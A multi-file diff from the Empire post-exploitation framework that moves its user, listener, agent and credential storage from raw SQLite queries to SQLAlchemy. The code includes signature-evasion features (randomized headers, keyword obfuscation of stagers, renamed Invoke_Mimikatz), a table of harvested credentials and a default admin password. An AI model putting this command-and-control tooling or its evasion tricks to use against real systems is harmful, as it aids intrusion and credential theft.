541
542 def get_listener_module(self, listenerName):
523 def get_listener_module(self, listener_name):
543524 """
544525 Resolve a listener name to the module used to instantiate it.
545526 """
546 cur = self.conn.cursor()
547 cur.execute('SELECT module FROM listeners WHERE name=?', [listenerName])
548 results = cur.fetchone()
549 cur.close()
527 results = Session().query(models.Listener.module).filter(models.Listener.name == listener_name).first()
550528
551529 if results:
552530 return results[0]
553531 else:
554532 return None
555533
556 def get_listener_options(self):
557 """
558 Return the options for a listener type
559 """
560 cur = self.conn.cursor()
561 cur.execute('SELECT options FROM listeners')
562 results = cur.fetchall()
563 cur.close()
564
565 if results:
566 return results[0][0]
567 else:
568 return None
569
570
571534 def get_listener_names(self):
572535 """
573536 Return all current listener names.
578541 """
579542 Returns any listeners that are not currently running
580543 """
581
582 oldFactory = self.conn.row_factory
583 self.conn.row_factory = helpers.dict_factory
584 cur = self.conn.cursor()
585
586 cur.execute("SELECT name,module,options FROM listeners")
587 db_listeners = cur.fetchall()
544 db_listeners = Session().query(models.Listener).filter(models.Listener.enabled == False).all()
588545
589546 inactive_listeners = {}
590 for listener in filter((lambda x: x['name'] not in list(self.activeListeners.keys())), db_listeners):
547 for listener in db_listeners:
591548 inactive_listeners[listener['name']] = {'moduleName': listener['module'],
592 'options': pickle.loads(listener['options'])}
593
594 cur.close()
595 self.conn.row_factory = oldFactory
549 'options': listener['options']}
550
596551 return inactive_listeners
597552
598
599553 def update_listener_options(self, listener_name, option_name, option_value):
600 "Updates a listener option in the database"
601
602 try:
603 cur = self.conn.cursor()
604 cur.execute('SELECT id,options FROM listeners WHERE name=?', [listener_name])
605 listener_id, result = cur.fetchone()
606 options = pickle.loads(result)
607 if not option_name in list(options.keys()):
608 print(helpers.color("[!] Listener %s does not have the option %s" % (listener_name, option_name)))
609 return
610 options[option_name]['Value'] = option_value
611 pickled_options = pickle.dumps(options)
612 cur.execute('UPDATE listeners SET options=? WHERE id=?', [pickled_options, listener_id])
613 except ValueError:
554 """
555 Updates a listener option in the database
556 """
557 listener = Session().query(models.Listener).filter(models.Listener.name == listener_name).first()
558
559 if not listener:
614560 print(helpers.color("[!] Listener %s not found" % listener_name))
615 cur.close()
561 return
562 if option_name not in list(listener.options.keys()):
563 print(helpers.color("[!] Listener %s does not have the option %s" % (listener_name, option_name)))
564 return
565 listener.options[option_name]['Value'] = option_value
566 Session().commit()
4444 |_______||__| |__| | _| |__| | _| `._____||_______|
4545
4646 """)
47
48
49 def headless_title(version, num_modules, num_listeners, num_agents):
50 """
51 Print the tool title, with version.
52 """
53 os.system('clear')
54 print("================================================================================")
55 print(" [Empire] Post-Exploitation Framework")
56 print('================================================================================')
57 print(" [Version] %s | [Web] https://github.com/BC-SECURITY/Empire" % (version))
58 print('================================================================================')
59 print("""
60 _______ .___ ___. .______ __ .______ _______
61 | ____|| \/ | | _ \ | | | _ \ | ____|
62 | |__ | \ / | | |_) | | | | |_) | | |__
63 | __| | |\/| | | ___/ | | | / | __|
64 | |____ | | | | | | | | | |\ \----.| |____
65 |_______||__| |__| | _| |__| | _| `._____||_______|
66 """)
67 print(" " + helpers.color(str(num_modules), "green") + " modules currently loaded\n")
68 print(" " + helpers.color(str(num_listeners), "green") + " listeners currently active\n")
69 print(" " + helpers.color(str(num_agents), "green") + " agents currently active\n\n")
70
71 print(' EMPIRE API REQUIRES: ')
72 print('================================================================================')
73 print(' [Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller')
74 print(' [Empire CLI] New Empire CLI | [Web] https://github.com/BC-SECURITY/Empire-Cli \n\n')
75
4776
4877 def loading():
4978 """
185214 print(" ---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------")
186215
187216 for agent in agents:
188 if str(agent['high_integrity']) == '1':
217 if str(agent['high_integrity']) == '1' or agent['high_integrity'] is True:
189218 # add a * to the username if it's high integrity
190219 agent['username'] = '*' + str(agent['username'])
191220 if not agent['language'] or agent['language'] == '':
223252
224253 Takes in the tuple of the raw agent database results.
225254 """
255 if not isinstance(agent, dict):
256 agent_table = {}
257 agent_table['checkin_time'] = str(agent.checkin_time)
258 agent_table['delay'] = str(agent.delay)
259 agent_table['external_ip'] = agent.external_ip
260 agent_table['high_integrity'] = str(agent.high_integrity)
261 agent_table['hostname'] = agent.hostname
262 agent_table['internal_ip'] = agent.internal_ip
263 agent_table['jitter'] = str(agent.jitter)
264 agent_table['kill_date'] = agent.kill_date
265 agent_table['language'] = agent.language
266 agent_table['language_version'] = agent.language_version
267 agent_table['lastseen_time'] = str(agent.lastseen_time)
268 agent_table['listener'] = agent.listener
269 agent_table['lost_limit'] = str(agent.lost_limit)
270 agent_table['name'] = agent.name
271 agent_table['nonce'] = agent.nonce
272 agent_table['os_details'] = agent.os_details
273 agent_table['process_id'] = str(agent.process_id)
274 agent_table['process_name'] = agent.process_name
275 agent_table['profile'] = agent.profile
276 agent_table['session_id'] = agent.session_id
277 agent_table['session_key'] = agent.session_key
278 agent_table['username'] = agent.username
279 agent_table['working_hours'] = agent.working_hours
280
281 else:
282 agent_table = agent
226283
227284 if returnAsString:
228285 agentString = "\n[*] Agent info:\n"
229 for key, value in agent.items():
286 for key, value in agent_table.items():
230287 if key != 'functions' and key != 'takings' and key != 'results':
231288 agentString += " %s\t%s\n" % ('{0: <16}'.format(key), wrap_string(value, width=70))
232289 return agentString + '\n'
233290 else:
234291 print(helpers.color("\n[*] Agent info:\n"))
235 for key, value in agent.items():
292 for key, value in agent_table.items():
236293 if key != 'functions' and key != 'takings' and key != 'results':
237294 print("\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "blue"), wrap_string(value, width=70)))
238295 print('')
471528
472529 for cred in creds:
473530 # (id, credtype, domain, username, password, host, notes, sid)
474 credID = cred[0]
475 credType = cred[1]
476 domain = cred[2]
477 username = cred[3]
478 password = cred[4]
479 if isinstance(cred[5], bytes):
480 host = cred[5].decode('latin-1')
531 credID = cred['id']
532 credType = cred['credtype']
533 domain = cred['domain']
534 username = cred['username']
535 password = cred['password']
536 if isinstance(cred['host'], bytes):
537 host = cred['host'].decode('latin-1')
481538 else:
482 host = cred[5]
539 host = cred['host']
483540 print(" %s%s%s%s%s%s" % ('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(host), password))
484541
485542 print('')
2121 def __init__(self, MainMenu, args):
2222
2323 self.mainMenu = MainMenu
24
25 # pull the database connection object out of the main menu
26 self.conn = self.mainMenu.conn
2724 self.args = args
2825
2926 # module format:
44 from . import helpers
55 import json
66 from pydispatch import dispatcher
7
7 from lib.database.base import Session
8 from lib.database import models
89
910 class Users(object):
1011 def __init__(self, mainMenu):
1112 self.mainMenu = mainMenu
1213
13 self.conn = self.mainMenu.conn
14
15 self.lock = threading.Lock()
16
1714 self.args = self.mainMenu.args
1815
1916 self.users = {}
20
21 def get_db_connection(self):
22 """
23 Returns a handle to the DB
24 """
25 self.mainMenu.conn.row_factory = None
26 return self.mainMenu.conn
2717
2818 def user_exists(self, uid):
2919 """
3020 Return whether a user exists or not
3121 """
32 conn = self.get_db_connection()
33 cur = conn.cursor()
34 exists = cur.execute("SELECT 1 FROM users WHERE id = ? LIMIT 1", (uid,)).fetchone()
35 if exists:
22 user = Session().query(models.User).filter(models.User.id == uid).first()
23 if user:
3624 return True
37
38 return False
25 else:
26 return False
3927
4028 def add_new_user(self, user_name, password):
4129 """
4230 Add new user to cache
4331 """
4432 last_logon = helpers.getutcnow()
45 conn = self.get_db_connection()
46 message = False
33 success = Session().add(models.User(username=user_name,
34 password=self.get_hashed_password(password),
35 last_logon_time=last_logon,
36 enabled=True,
37 admin=False,
38 ))
39 Session().commit()
4740
48 try:
49 self.lock.acquire()
50 cur = conn.cursor()
51 success = cur.execute("INSERT INTO users (username, password, last_logon_time, enabled, admin) VALUES (?,?,?,?,?)",
52 (user_name, self.get_hashed_password(password), last_logon, True, False))
53
54 if success:
55 # dispatch the event
56 signal = json.dumps({
57 'print': True,
58 'message': "Added {} to Users".format(user_name)
59 })
60 dispatcher.send(signal, sender="Users")
61 message = True
62 else:
63 message = False
64 finally:
65 cur.close()
66 self.lock.release()
41 if success:
42 # dispatch the event
43 signal = json.dumps({
44 'print': True,
45 'message': "Added {} to Users".format(user_name)
46 })
47 dispatcher.send(signal, sender="Users")
48 message = True
49 else:
50 message = False
6751
6852 return message
6953
7155 """
7256 Disable user
7357 """
74 conn = self.get_db_connection()
58 user = Session().query(models.User).filter(models.User.id == uid).first()
7559
76 try:
77 self.lock.acquire()
78 cur = conn.cursor()
60 if not self.user_exists(uid):
61 message = False
62 elif self.is_admin(uid):
63 signal = json.dumps({
64 'print': True,
65 'message': "Cannot disable admin account"
66 })
67 message = False
68 else:
69 user.enabled = not(disable)
70 Session.commit()
7971
80 if not self.user_exists(uid):
81 message = False
82 elif self.is_admin(uid):
83 signal = json.dumps({
84 'print': True,
85 'message': "Cannot disable admin account"
86 })
87 message = False
88 else:
89 cur.execute("UPDATE users SET enabled = ? WHERE id = ?",
90 (not(disable), uid))
91 signal = json.dumps({
92 'print': True,
93 'message': 'User {}'.format('disabled' if disable else 'enabled')
94 })
95 message = True
96 finally:
97 cur.close()
98 self.lock.release()
72 signal = json.dumps({
73 'print': True,
74 'message': 'User {}'.format('disabled' if disable else 'enabled')
75 })
76 message = True
9977
10078 dispatcher.send(signal, sender="Users")
10179 return message
10280
10381 def user_login(self, user_name, password):
104 last_logon = helpers.getutcnow()
105 conn = self.get_db_connection()
82 user = Session().query(models.User).filter(models.User.username == user_name).first()
83
84 if user is None:
85 return None
10686
107 try:
108 self.lock.acquire()
109 cur = conn.cursor()
110 user = cur.execute("SELECT password from users WHERE username = ? AND enabled = 1 LIMIT 1", (user_name,)).fetchone()
111
112 if user == None:
113 return None
114
115 if not self.check_password(password, user[0]):
116 return None
87 if not self.check_password(password, user.password):
88 return None
11789
118 cur.execute("SELECT * FROM users WHERE username = ? LIMIT 1"
119 , (user_name,))
120 user = cur.fetchone()
90 user.api_token = user.api_token or self.refresh_api_token()
91 user.last_logon_time = helpers.getutcnow()
92 user.username = user_name
93 Session.commit()
12194
122 token = self.refresh_api_token()
123 cur.execute("UPDATE users SET last_logon_time = ?, api_token = ? WHERE username = ?",
124 (last_logon, token, user_name))
125 # dispatch the event
126 signal = json.dumps({
127 'print': True,
128 'message': "{} connected".format(user_name)
129 })
130 dispatcher.send(signal, sender="Users")
131 return token
132 finally:
133 cur.close()
134 self.lock.release()
95 # dispatch the event
96 signal = json.dumps({
97 'print': True,
98 'message': "{} connected".format(user_name)
99 })
100 dispatcher.send(signal, sender="Users")
101 return user.api_token
135102
136103 def get_user_from_token(self, token):
137 conn = self.get_db_connection()
104 user = Session().query(models.User).filter(models.User.api_token == token).first()
138105
139 try:
140 self.lock.acquire()
141 cur = conn.cursor()
142 cur.execute("SELECT id, username, api_token, last_logon_time, enabled, admin, notes FROM users WHERE api_token = ? LIMIT 1", (token,))
143 user = cur.fetchone()
106 if user:
107 return {'id': user.id, 'username': user.username, 'api_token': user.api_token, 'last_logon_time': user.last_logon_time, 'enabled': user.enabled, 'admin': user.admin, "notes": user.notes}
144108
145 if user:
146 [id, username, api_token, last_logon_time, enabled, admin, notes] = user
147 return {'id': id, 'username': username, 'api_token': api_token, 'last_logon_time': last_logon_time, 'enabled': bool(enabled), 'admin': bool(admin), "notes": notes}
148
149 return None
150 finally:
151 cur.close()
152 self.lock.release()
109 return None
153110
154111 def update_username(self, uid, username):
155112 """
156113 Update a user's username.
157114 Currently only when empire is start up with the username arg.
158115 """
159 conn = self.get_db_connection()
160 try:
161 self.lock.acquire()
162 cur = conn.cursor()
116 user = Session().query(models.User).filter(models.User.id == uid).first()
117 user.username = username
118 Session.commit()
163119
164 cur.execute("UPDATE users SET username=? WHERE id=?", (username, uid))
165
166 # dispatch the event
167 signal = json.dumps({
168 'print': True,
169 'message': "Username updated"
170 })
171 dispatcher.send(signal, sender="Users")
172 finally:
173 cur.close()
174 self.lock.release()
120 # dispatch the event
121 signal = json.dumps({
122 'print': True,
123 'message': "Username updated"
124 })
125 dispatcher.send(signal, sender="Users")
175126
176127 return True
177128
179130 """
180131 Update the last logon timestamp for a user
181132 """
182 conn = self.get_db_connection()
183
184133 if not self.user_exists(uid):
185134 return False
186135
187 try:
188 self.lock.acquire()
189 cur = conn.cursor()
136 user = Session().query(models.User).filter(models.User.id == uid).first()
137 user.password = self.get_hashed_password(password)
138 Session.commit()
190139
191 cur.execute("UPDATE users SET password=? WHERE id=?", (self.get_hashed_password(password), uid))
192
193 # dispatch the event
194 signal = json.dumps({
195 'print': True,
196 'message': "Password updated"
197 })
198 dispatcher.send(signal, sender="Users")
199 finally:
200 cur.close()
201 self.lock.release()
140 # dispatch the event
141 signal = json.dumps({
142 'print': True,
143 'message': "Password updated"
144 })
145 dispatcher.send(signal, sender="Users")
202146
203147 return True
204148
149 def user_logout(self, uid):
150 user = Session().query(models.User).filter(models.User.id == uid).first()
151 user.api_token = ''
152 Session.commit()
205153
206 def user_logout(self, uid):
207 conn = self.get_db_connection()
208
209 try:
210 self.lock.acquire()
211 cur = conn.cursor()
212 cur.execute("UPDATE users SET api_token=null WHERE id=?", (uid,))
213
214 # dispatch the event
215 signal = json.dumps({
216 'print': True,
217 'message': "User disconnected"
218 })
219 dispatcher.send(signal, sender="Users")
220
221 finally:
222 cur.close()
223 self.lock.release()
154 # dispatch the event
155 signal = json.dumps({
156 'print': True,
157 'message': "User disconnected"
158 })
159 dispatcher.send(signal, sender="Users")
224160
225161 def refresh_api_token(self):
226162 """
237173 """
238174 Returns whether a user is an admin or not.
239175 """
240 conn = self.get_db_connection()
241 cur = conn.cursor()
242 admin = cur.execute("SELECT admin FROM users WHERE id=?", (uid,)).fetchone()
176 admin = Session().query(models.User.admin).filter(models.User.id == uid).first()
243177
244178 if admin[0] == True:
245179 return True
0 import subprocess
1
2 from sqlalchemy import create_engine
3 from sqlalchemy.orm import sessionmaker, scoped_session
4
5 from lib import arguments
6 from lib.common.config import empire_config
7 from lib.database import models
8 from lib.database.defaults import get_default_user, get_default_config
9 from lib.database.models import Base
10
11 database_config = empire_config.yaml.get('database', {})
12
13 if database_config.get('type') == 'mysql':
14 url = database_config.get('url')
15 username = database_config.get('username') or ''
16 password = database_config.get('password') or ''
17 engine = create_engine(f'mysql+pymysql://{username}:{password}@{url}/empire', echo=False)
18 else:
19 location = database_config.get('location', 'data/empire.db')
20 engine = create_engine(f'sqlite:///{location}?check_same_thread=false', echo=False)
21
22 Session = scoped_session(sessionmaker(bind=engine))
23
24 args = arguments.args
25 if args.reset:
26 choice = input("\n [>] Would you like to reset your Empire instance? [y/N]: ")
27 if choice.lower() == "y":
28 Base.metadata.drop_all(engine)
29 subprocess.call("./setup/reset.sh")
30 else:
31 pass
32
33 Base.metadata.create_all(engine)
34
35
36 def color(string, color=None):
37 """
38 Change text color for the Linux terminal.
39 Note: this is duplicate code copied from helpers.py because it cannot be imported into this file due to a circular
40 reference. There are plans to refactor these circular references out, but this is the near term solution.
41 """
42 attr = []
43 # bold
44 attr.append('1')
45
46 if color:
47 if color.lower() == "red":
48 attr.append('31')
49 elif color.lower() == "green":
50 attr.append('32')
51 elif color.lower() == "yellow":
52 attr.append('33')
53 elif color.lower() == "blue":
54 attr.append('34')
55 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
56
57 else:
58 if string.strip().startswith("[!]"):
59 attr.append('31')
60 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
61 elif string.strip().startswith("[+]"):
62 attr.append('32')
63 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
64 elif string.strip().startswith("[*]"):
65 attr.append('34')
66 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
67 elif string.strip().startswith("[>]"):
68 attr.append('33')
69 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
70 else:
71 return string
72
73
74 # When Empire starts up for the first time, it will create the database and create
75 # these default records.
76 if len(Session().query(models.User).all()) == 0:
77 print(color('[*] Setting up database.'))
78 print(color('[*] Adding default user.'))
79 Session().add(get_default_user())
80 Session().commit()
81 Session.remove()
82
83
84
85 if len(Session().query(models.Config).all()) == 0:
86 print(color('[*] Adding database config.'))
87 Session().add(get_default_config())
88 Session().commit()
89 Session.remove()
0 import hashlib
1 import os
2 import random
3 import string
4
5 import bcrypt
6
7 from lib.common.config import empire_config
8 from lib.database import models
9
10 database_config = empire_config.yaml.get('database', {}).get('defaults', {})
11
12
13 def get_default_hashed_password():
14 password = database_config.get('password', 'password123')
15 password = bytes(password, 'UTF-8')
16 return bcrypt.hashpw(password, bcrypt.gensalt())
17
18
19 def get_default_user():
20 return models.User(username=database_config.get('username', 'empireadmin'),
21 password=get_default_hashed_password(),
22 enabled=True,
23 admin=True)
24
25
26 def get_default_config():
27 # Calculate the install path. We know the project directory will always be two levels up of the current directory.
28 # Any modifications of the folder structure will need to be applied here.
29 install_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
30 return models.Config(staging_key=get_staging_key(),
31 install_path=install_path,
32 ip_whitelist=database_config.get('ip-whitelist', ''),
33 ip_blacklist=database_config.get('ip-blacklist', ''),
34 autorun_command="",
35 autorun_data="",
36 rootuser=True,
37 obfuscate=database_config.get('obfuscate', False),
38 obfuscate_command=database_config.get('obfuscate-command', r'Token\All\1'))
39
40
41 def get_default_functions():
42 return models.Function(
43 Invoke_Empire=''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5)),
44 Invoke_Mimikatz=''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5)))
45
46
47 def get_staging_key():
48 # Staging Key is set up via environmental variable or config.yaml. By setting RANDOM a randomly selected password
49 # will automatically be selected.
50 staging_key = os.getenv('STAGING_KEY') or database_config.get('staging-key', 'BLANK')
51 punctuation = '!#%&()*+,-./:;<=>?@[]^_{|}~'
52 if staging_key == "BLANK":
53 choice = input("\n [>] Enter server negotiation password, enter for random generation: ")
54 if choice != "" and choice != "RANDOM":
55 return hashlib.md5(choice.encode('utf-8')).hexdigest()
56
57 print('Generating random staging key.')
58 return ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32))
0 from datetime import datetime, timezone
1
2 from sqlalchemy import Column, Integer, Sequence, String, Boolean, ForeignKey, PickleType, Float, Text
3 from sqlalchemy.ext.declarative import declarative_base
4 from sqlalchemy.ext.hybrid import hybrid_property
5 from sqlalchemy_utc import UtcDateTime
6
7 Base = declarative_base()
8
9
10 class User(Base):
11 __tablename__ = 'users'
12 id = Column(Integer, Sequence('user_id_seq'), primary_key=True)
13 username = Column(String(255), nullable=False)
14 password = Column(String(255), nullable=False)
15 api_token = Column(String(50))
16 last_logon_time = Column(UtcDateTime)
17 enabled = Column(Boolean, nullable=False)
18 admin = Column(Boolean, nullable=False)
19 notes = Column(Text)
20
21 def __repr__(self):
22 return "<User(username='%s')>" % (
23 self.username)
24
25
26 class Listener(Base):
27 __tablename__ = 'listeners'
28 id = Column(Integer, Sequence("listener_id_seq"), primary_key=True)
29 name = Column(String(255), nullable=False, unique=True)
30 module = Column(String(255), nullable=False)
31 listener_type = Column(String(255), nullable=True)
32 listener_category = Column(String(255), nullable=False)
33 enabled = Column(Boolean, nullable=False)
34 options = Column(PickleType) # Todo Json?
35 created_at = Column(UtcDateTime, nullable=False)
36
37 def __repr__(self):
38 return "<Listener(name='%s')>" % (
39 self.name)
40
41 def __getitem__(self, key):
42 return self.__dict__[key]
43
44 def __setitem__(self, key, value):
45 self.__dict__[key] = value
46
47 class Agent(Base):
48 __tablename__ = 'agents'
49 id = Column(Integer, Sequence("agent_id_seq"), primary_key=True)
50 name = Column(String(255), nullable=False)
51 listener = Column(String(255), nullable=False)
52 session_id = Column(String(255), nullable=False, unique=True)
53 language = Column(String(255))
54 language_version = Column(String(255))
55 delay = Column(Integer)
56 jitter = Column(Float)
57 external_ip = Column(String(255))
58 internal_ip = Column(String(255))
59 username = Column(Text)
60 high_integrity = Column(Boolean)
61 process_name = Column(Text)
62 process_id = Column(Integer)
63 hostname = Column(String(255))
64 os_details = Column(String(255))
65 session_key = Column(String(255))
66 nonce = Column(String(255))
67 checkin_time = Column(UtcDateTime)
68 lastseen_time = Column(UtcDateTime)
69 parent = Column(String(255))
70 children = Column(String(255))
71 servers = Column(String(255))
72 profile = Column(String(255))
73 functions = Column(String(255))
74 kill_date = Column(String(255))
75 working_hours = Column(String(255))
76 lost_limit = Column(Integer)
77 taskings = Column(String(255)) # Queue of tasks. Should refactor to manage queued tasks from the taskings table itself.
78 results = Column(String(255))
79 notes = Column(Text)
80
81 @hybrid_property # todo @stale.expression
82 def stale(self):
83 return is_stale(self.lastseen_time, self.delay, self.jitter)
84
85 def __repr__(self):
86 return "<Agent(name='%s')>" % (
87 self.name)
88
89 def __getitem__(self, key):
90 return self.__dict__[key]
91
92 def __setitem__(self, key, value):
93 self.__dict__[key] = value
94
95
96 class AgentFile(Base):
97 __tablename__ = 'agent_files'
98 id = Column(Integer, primary_key=True)
99 session_id = Column(String(50))
100 name = Column(Text, nullable=False)
101 path = Column(Text, nullable=False)
102 is_file = Column(Boolean, nullable=False)
103 parent_id = Column(Integer, ForeignKey('agent_files.id', ondelete='CASCADE'), nullable=True)
104
105
106 class Config(Base):
107 __tablename__ = 'config'
108 staging_key = Column(String(255), primary_key=True)
109 install_path = Column(Text, nullable=False)
110 ip_whitelist = Column(Text, nullable=False)
111 ip_blacklist = Column(Text, nullable=False)
112 autorun_command = Column(Text, nullable=False)
113 autorun_data = Column(Text, nullable=False)
114 rootuser = Column(Boolean, nullable=False)
115 obfuscate = Column(Boolean, nullable=False)
116 obfuscate_command = Column(Text, nullable=False)
117
118 def __repr__(self):
119 return "<Config(staging_key='%s')>" % (
120 self.staging_key)
121
122 def __getitem__(self, key):
123 return self.__dict__[key]
124
125 def __setitem__(self, key, value):
126 self.__dict__[key] = value
127
128
129 class Credential(Base):
130 __tablename__ = 'credentials'
131 id = Column(Integer, Sequence("credential_id_seq"), primary_key=True)
132 credtype = Column(String(255))
133 domain = Column(Text)
134 username = Column(Text)
135 password = Column(Text)
136 host = Column(Text)
137 os = Column(String(255))
138 sid = Column(String(255))
139 notes = Column(Text)
140
141 def __repr__(self):
142 return "<Credential(id='%s')>" % (
143 self.id)
144
145 def __getitem__(self, key):
146 return self.__dict__[key]
147
148 def __setitem__(self, key, value):
149 self.__dict__[key] = value
150
151
152 # TODO vr I'd like to merge taskings and results to a single table
153 # and get rid of the json queue array on Agent.
154 class Tasking(Base):
155 __tablename__ = 'taskings'
156 id = Column(Integer, primary_key=True)
157 agent = Column(String(255), ForeignKey('agents.session_id'), primary_key=True)
158 data = Column(Text)
159 user_id = Column(Integer, ForeignKey('users.id'), nullable=False)
160 timestamp = Column(UtcDateTime, nullable=False)
161 module_name = Column(Text)
162
163
164 def __repr__(self):
165 return "<Tasking(id='%s')>" % (
166 self.id)
167
168
169 class Result(Base):
170 __tablename__ = 'results'
171 id = Column(Integer, primary_key=True) # Current implementation requires this to match Tasking's id
172 agent = Column(String(255), ForeignKey('agents.session_id'), primary_key=True)
173 data = Column(Text, nullable=True)
174 user_id = Column(Integer, ForeignKey('users.id'), nullable=False)
175
176 def __repr__(self):
177 return "<Result(id='%s')>" % (
178 self.id)
179
180
181 class Reporting(Base):
182 __tablename__ = 'reporting'
183 id = Column(Integer, Sequence("reporting_id_seq"), primary_key=True)
184 name = Column(String(255), nullable=False)
185 event_type = Column(String(255))
186 message = Column(Text)
187 timestamp = Column(UtcDateTime, nullable=False)
188 taskID = Column(Integer, ForeignKey('results.id'))
189
190 def __repr__(self):
191 return "<Reporting(id='%s')>" % (
192 self.id)
193
194
195 class Function(Base):
196 __tablename__ = "functions"
197 keyword = Column(String(255), primary_key=True)
198 replacement = Column(String(255))
199
200 def __repr__(self):
201 return "<Function(id='%s')>" % (
202 self.id)
203
204
205 def is_stale(lastseen: datetime, delay: int, jitter: float):
206 """
207 Convenience function for calculating staleness
208 """
209 interval_max = (delay + delay * jitter) + 30
210 diff = getutcnow() - lastseen
211 stale = diff.total_seconds() > interval_max
212 return stale
213
214
215 def getutcnow():
216 return datetime.now(timezone.utc)
163163 # randomize the length of the default_response and index_page headers to evade signature based scans
164164 self.header_offset = random.randint(0, 64)
165165
166 # used to protect self.http and self.mainMenu.conn during threaded listener access
167 self.lock = threading.Lock()
168
169166 self.session_cookie = ''
170167
171168 # check if the current session cookie not empty and then generate random cookie
172169 if self.session_cookie == '':
173170 self.options['Cookie']['Value'] = self.generate_cookie()
174
175 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
176 # implemented it in place. Might be worthwhile to just make a database handling file
177 def get_db_connection(self):
178 """
179 Returns the cursor for SQLlite DB
180 """
181 self.lock.acquire()
182 self.mainMenu.conn.row_factory = None
183 self.lock.release()
184 return self.mainMenu.conn
185171
186172 def default_response(self):
187173 """
609595 f.close()
610596
611597 # Get the random function name generated at install and patch the stager with the proper function name
612 conn = self.get_db_connection()
613 self.lock.acquire()
614598 stager = helpers.keyword_obfuscation(stager)
615 self.lock.release()
616
617599
618600 # make sure the server ends with "/"
619601 if not host.endswith("/"):
731713
732714 if language == 'powershell':
733715
734 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
716 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
735717 code = f.read()
736718 f.close()
737719
738720 # Get the random function name generated at install and patch the stager with the proper function name
739 conn = self.get_db_connection()
740 self.lock.acquire()
741721 code = helpers.keyword_obfuscation(code)
742 self.lock.release()
743
744
745
722
746723 # patch in the comms methods
747724 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
748725 code = code.replace('REPLACE_COMMS', commsCode)
767744 return code
768745
769746 elif language == 'python':
770 f = open(self.mainMenu.installPath + "./data/agent/agent.py")
747 f = open(self.mainMenu.installPath + "/data/agent/agent.py")
771748 code = f.read()
772749 f.close()
773750
138138 # set the default staging key to the controller db default
139139 self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
140140
141 # used to protect self.http and self.mainMenu.conn during threaded listener access
142 self.lock = threading.Lock()
143
144141 # randomize the length of the default_response and index_page headers to evade signature based scans
145142 self.header_offset = random.randint(0, 64)
146
147 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
148 # implemented it in place. Might be worthwhile to just make a database handling file
149 def get_db_connection(self):
150 """
151 Returns the cursor for SQLlite DB
152 """
153 self.lock.acquire()
154 self.mainMenu.conn.row_factory = None
155 self.lock.release()
156 return self.mainMenu.conn
157143
158144 def default_response(self):
159145 """
440426 f.close()
441427
442428 # Get the random function name generated at install and patch the stager with the proper function name
443 # Get the random function name generated at install and patch the stager with the proper function name
444 conn = self.get_db_connection()
445 self.lock.acquire()
446429 stager = helpers.keyword_obfuscation(stager)
447 self.lock.release()
448430
449431 # make sure the server ends with "/"
450432 if not host.endswith("/"):
525507
526508 if language == 'powershell':
527509
528 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
510 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
529511 code = f.read()
530512 f.close()
531513
532514 # Get the random function name generated at install and patch the stager with the proper function name
533 conn = self.get_db_connection()
534 self.lock.acquire()
535515 code = helpers.keyword_obfuscation(code)
536 self.lock.release()
537516
538517 # patch in the comms methods
539518 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
141141 # set the default staging key to the controller db default
142142 self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
143143
144 # used to protect self.http and self.mainMenu.conn during threaded listener access
145 self.lock = threading.Lock()
146
147 def get_db_connection(self):
148 """
149 Returns the cursor for SQLlite DB
150 """
151 self.lock.acquire()
152 self.mainMenu.conn.row_factory = None
153 self.lock.release()
154 return self.mainMenu.conn
155
156144 def default_response(self):
157145 """
158146 Returns an IIS 7.5 404 not found page.
637625 f.close()
638626
639627 # Get the random function name generated at install and patch the stager with the proper function name
640 conn = self.get_db_connection()
641 self.lock.acquire()
642628 stager = helpers.keyword_obfuscation(stager)
643 self.lock.release()
644629
645630 # patch in custom headers
646631 if profile.stager.client.headers:
745730
746731 if language == 'powershell':
747732 #read in agent code
748 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
733 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
749734 code = f.read()
750735 f.close()
751736
752737 # Get the random function name generated at install and patch the stager with the proper function name
753 conn = self.get_db_connection()
754 self.lock.acquire()
755738 code = helpers.keyword_obfuscation(code)
756 self.lock.release()
757739
758740 # path in the comms methods
759741 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
780762
781763 # read in the agent base
782764 code = ""
783 with open(self.mainMenu.installPath + "./data/agent/agent.py") as f:
765 with open(self.mainMenu.installPath + "/data/agent/agent.py") as f:
784766 code = f.read()
785767
786768 # patch in the comms methods
289289 f.close()
290290
291291 # Get the random function name generated at install and patch the stager with the proper function name
292 conn = self.get_db_connection()
293 self.lock.acquire()
294292 stager = helpers.keyword_obfuscation(stager)
295 self.lock.release()
296293
297294 # make sure the server ends with "/"
298295 if not host.endswith("/"):
352349
353350 if language == 'powershell':
354351
355 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
352 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
356353 code = f.read()
357354 f.close()
358355
359356 # Get the random function name generated at install and patch the stager with the proper function name
360 conn = self.get_db_connection()
361 self.lock.acquire()
362357 code = helpers.keyword_obfuscation(code)
363 self.lock.release()
364358
365359 # patch in the comms methods
366360 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
630630 })
631631 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
632632 else:
